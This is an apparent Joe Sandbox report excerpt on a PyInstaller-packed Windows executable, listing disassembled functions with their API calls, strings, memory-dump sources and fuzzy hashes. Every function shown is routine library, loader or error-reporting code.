String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction ID: b6a4aff4207acfc08c7b17e42b1ccb9ea619be30a6cd658304911a804c79d122
Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction Fuzzy Hash: 9E31D233B18B4146E620BB25B8102AB66A5BFC8BC8F510136EF8DD3769EE3CD546D700

Function 00007FF67AEDDD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF67AEDDFEA,?,?,?,00007FF67AEDDCDC,?,?,?,00007FF67AEDD8D9), ref: 00007FF67AEDDDBD
GetLastError.KERNEL32(?,?,?,00007FF67AEDDFEA,?,?,?,00007FF67AEDDCDC,?,?,?,00007FF67AEDD8D9), ref: 00007FF67AEDDDCB
LoadLibraryExW.KERNEL32(?,?,?,00007FF67AEDDFEA,?,?,?,00007FF67AEDDCDC,?,?,?,00007FF67AEDD8D9), ref: 00007FF67AEDDDF5
FreeLibrary.KERNEL32(?,?,?,00007FF67AEDDFEA,?,?,?,00007FF67AEDDCDC,?,?,?,00007FF67AEDD8D9), ref: 00007FF67AEDDE63
GetProcAddress.KERNEL32(?,?,?,00007FF67AEDDFEA,?,?,?,00007FF67AEDDCDC,?,?,?,00007FF67AEDD8D9), ref: 00007FF67AEDDE6F

Strings

api-ms-, xrefs: 00007FF67AEDDDDD

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction ID: b5f057513ad7c429baf6fe7236e841eaa1a2582cb6aaeadf118356a3fa000bc3
Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction Fuzzy Hash: C331C323F2B642D5EE62AB02A84057523D4FF98BA0F694575DD1E873A0EF3CE444E714

Function 00007FF67AED6350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF67AED6446
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF67AED63B7
LoadLibrary, xrefs: 00007FF67AED649E
ucrtbase.dll, xrefs: 00007FF67AED63CD
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF67AED63F7
Failed to load Python DLL '%ls'., xrefs: 00007FF67AED6497

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction ID: 371de4d3051e5fa0828b243f2b3739cad3ef787a7fcc830c3c5c8f456271bebf
Opcode Fuzzy Hash: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction Fuzzy Hash: 7F417233A38A8691EA11FB24E4542E96321FFD4384FA00572EA5DC36E5EF3CE545D740

Function 00007FF67AED2A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF67AED351A,?,00000000,00007FF67AED3F23), ref: 00007FF67AED2AA0

Strings

Warning [ANSI Fallback], xrefs: 00007FF67AED2B0F
Warning, xrefs: 00007FF67AED2B1E
[PYI-%d:%s] , xrefs: 00007FF67AED2AA8
0, xrefs: 00007FF67AED2B16
WARNING, xrefs: 00007FF67AED2AAF

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction ID: 4377176696c53ce16cf0882ff76c75e658a25a1a24eddef29f3dccdfce8cf4f9
Opcode Fuzzy Hash: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction Fuzzy Hash: A2218173B2878186E660EB61F8417EA63A4FB887C4F400176EE8C97669DF3CD545D740

Function 00007FF67AEEB1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF67AEEB1CF
FlsGetValue.KERNEL32 ref: 00007FF67AEEB1E4
FlsSetValue.KERNEL32 ref: 00007FF67AEEB205
FlsSetValue.KERNEL32 ref: 00007FF67AEEB232
FlsSetValue.KERNEL32 ref: 00007FF67AEEB243
FlsSetValue.KERNEL32 ref: 00007FF67AEEB254
SetLastError.KERNEL32 ref: 00007FF67AEEB26F

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a5225a2428ee1ea558fded41feed7619df648b57a5ff038aad9245715dd51944
Instruction ID: b3dafb40df55a1660027b11f7531067e0e2004e04927585f42f1707e75534f3b
Opcode Fuzzy Hash: a5225a2428ee1ea558fded41feed7619df648b57a5ff038aad9245715dd51944
Instruction Fuzzy Hash: E721A423F3D24682FA547765665113D63425F487B0F4087B8D87EC76FADE2DB800A300

Function 00007FF67AEF7DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF67AEF7E0D
GetLastError.KERNEL32 ref: 00007FF67AEF7E19
CloseHandle.KERNEL32 ref: 00007FF67AEF7E31
CreateFileW.KERNEL32 ref: 00007FF67AEF7E5C
WriteConsoleW.KERNEL32 ref: 00007FF67AEF7E7B

Strings

CONOUT$, xrefs: 00007FF67AEF7E3D

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction ID: f2c001754ce52c869f1f78d269904091fc8490a119545717540ad6e2a4d1ca74
Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction Fuzzy Hash: D3119622738A4586F7909B56F85432A72A0FB88BE4F044278E99DC77B4DF3CD904CB40

Function 00007FF67AED8560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF67AED9216), ref: 00007FF67AED8592
K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF67AED9216), ref: 00007FF67AED85E9

Part of subcall function 00007FF67AED9400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF67AED45E4,00000000,00007FF67AED1985), ref: 00007FF67AED9439

K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF67AED9216), ref: 00007FF67AED8678
K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF67AED9216), ref: 00007FF67AED86E4
FreeLibrary.KERNEL32(?,?,00000000,00007FF67AED9216), ref: 00007FF67AED86F5
FreeLibrary.KERNEL32(?,?,00000000,00007FF67AED9216), ref: 00007FF67AED870A

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction ID: 9819618471a886dc4fa41f6e6b7f67562f5b703341253065479d7fed40770dea
Opcode Fuzzy Hash: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction Fuzzy Hash: C841CF63B2868245EA30BB22A5406AA63A4FFC4BD5F140175DF9CD7BE9DE3CE401D700

Function 00007FF67AEEB338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA,?,?,?,?,00007FF67AEE71FF), ref: 00007FF67AEEB347
FlsSetValue.KERNEL32(?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA,?,?,?,?,00007FF67AEE71FF), ref: 00007FF67AEEB37D
FlsSetValue.KERNEL32(?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA,?,?,?,?,00007FF67AEE71FF), ref: 00007FF67AEEB3AA
FlsSetValue.KERNEL32(?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA,?,?,?,?,00007FF67AEE71FF), ref: 00007FF67AEEB3BB
FlsSetValue.KERNEL32(?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA,?,?,?,?,00007FF67AEE71FF), ref: 00007FF67AEEB3CC
SetLastError.KERNEL32(?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA,?,?,?,?,00007FF67AEE71FF), ref: 00007FF67AEEB3E7

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: f3ef772190a77067448dcdc891e93f0fce571c39ad65bd9bbfe034f894ce387b
Instruction ID: 3ea4bef323f937b941fbc38cf24f40855ece8a63cd2bf493774a51f5250fe4b0
Opcode Fuzzy Hash: f3ef772190a77067448dcdc891e93f0fce571c39ad65bd9bbfe034f894ce387b
Instruction Fuzzy Hash: 2B116023A3C68686FA547721A69213D63429F547B0F5487B4E87EC77F6EF7CA801A301

Function 00007FF67AED2910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF67AED1B6A), ref: 00007FF67AED295E

Strings

Error [ANSI Fallback], xrefs: 00007FF67AED29FF
Error, xrefs: 00007FF67AED2A0E
[PYI-%d:ERROR] , xrefs: 00007FF67AED2966
%s: %s, xrefs: 00007FF67AED29E8

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction ID: 53645361959c1f61712c409df583daee2172ff76b51b76878582efcb6a787fd9
Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction Fuzzy Hash: D831DF23B28A8156E720B761B8406EA6394BFC87D4F500136EE8DC7769EF3CD586D700

Function 00007FF67AED2390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF67AED23C8
DialogBoxIndirectParamW.USER32 ref: 00007FF67AED248E
DeleteObject.GDI32 ref: 00007FF67AED24C1
DestroyIcon.USER32 ref: 00007FF67AED24D3

Strings

Unhandled exception in script, xrefs: 00007FF67AED23F8

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction ID: 1717989dcef1fe0b0ce6d70bb1669abe5fa85ad4e4ca767f3c6169505f7406a5
Opcode Fuzzy Hash: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction Fuzzy Hash: 3E315E73628A8289EB60EB21F8552FA6360FF88784F544175EA4D8BB69DF3CD104D700

Function 00007FF67AED2B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF67AED918F,?,00007FF67AED3C55), ref: 00007FF67AED2BA0
MessageBoxW.USER32 ref: 00007FF67AED2C2A

Strings

WARNING, xrefs: 00007FF67AED2BAF
Warning, xrefs: 00007FF67AED2C1D
[PYI-%d:%ls] , xrefs: 00007FF67AED2BA8

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction ID: 22a8aeda325637f0f7a4286d6e2e49398fc0a6d64678d57fa4b50c052c19b07c
Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction Fuzzy Hash: 1121AE73B28B8186E751AB64F8447AA63A4EB887C0F404136EA8D97669DE3CD645C740

Function 00007FF67AED2710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF67AED1B99), ref: 00007FF67AED2760

Strings

Error [ANSI Fallback], xrefs: 00007FF67AED27CF
Error, xrefs: 00007FF67AED27DE
ERROR, xrefs: 00007FF67AED276F
[PYI-%d:%s] , xrefs: 00007FF67AED2768

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction ID: f42d368d94af0c0089e971c35a4c8b767c54bc6d587e7b9ea4957c78d539e5f5
Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction Fuzzy Hash: 4B217C73A29B8186E660EB61B8817EA63A4EB883C4F400175EA8C97669DF3CD545DB40

Function 00007FF67AEE9AF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF67AEE9B1D
GetProcAddress.KERNEL32 ref: 00007FF67AEE9B33
FreeLibrary.KERNEL32 ref: 00007FF67AEE9B5A

Strings

mscoree.dll, xrefs: 00007FF67AEE9B14
CorExitProcess, xrefs: 00007FF67AEE9B2C

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction ID: a67d9b6d7687c8864fc4872da8e96dc94bb806d9a0eff251c74822dc8b6b0ffa
Opcode Fuzzy Hash: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction Fuzzy Hash: D7F0C222B29B0681FB509B20F85473A5360EF44761F4406B9DAAEC71F4DF2CD044E704

Function 00007FF67AEF93D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF67AEF9400
_set_statfp.LIBCMT ref: 00007FF67AEF941B
_set_statfp.LIBCMT ref: 00007FF67AEF9437
_set_statfp.LIBCMT ref: 00007FF67AEF9473

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: bba2312b7da97a2eedaebef1015a100488629bdeb2adc4f0a40545f3c8225b86
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 35118273E7CA1301F6E43528F4963791054EF79364E044ABCFAEE866F68E2C69416D44

Function 00007FF67AEEB400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF67AEEA613,?,?,00000000,00007FF67AEEA8AE,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEB41F
FlsSetValue.KERNEL32(?,?,?,00007FF67AEEA613,?,?,00000000,00007FF67AEEA8AE,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEB43E
FlsSetValue.KERNEL32(?,?,?,00007FF67AEEA613,?,?,00000000,00007FF67AEEA8AE,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEB466
FlsSetValue.KERNEL32(?,?,?,00007FF67AEEA613,?,?,00000000,00007FF67AEEA8AE,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEB477
FlsSetValue.KERNEL32(?,?,?,00007FF67AEEA613,?,?,00000000,00007FF67AEEA8AE,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEB488

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: e370891a427e995cf622d6c66c6ae617f18e5219a23357883517039299fedc16
Instruction ID: 1d917f13ee69e1b3a437342bec29457ba60b02bf815dc72084d3c3190bea1fdb
Opcode Fuzzy Hash: e370891a427e995cf622d6c66c6ae617f18e5219a23357883517039299fedc16
Instruction Fuzzy Hash: C8114F23A3D64682FA58B725A55127963915F847B0F4483B4E97DC76F6EF2CA801A301

Function 00007FF67AEEB294 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF67AEEB2A5
FlsSetValue.KERNEL32 ref: 00007FF67AEEB2C4
FlsSetValue.KERNEL32 ref: 00007FF67AEEB2EC
FlsSetValue.KERNEL32 ref: 00007FF67AEEB2FD
FlsSetValue.KERNEL32 ref: 00007FF67AEEB30E

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
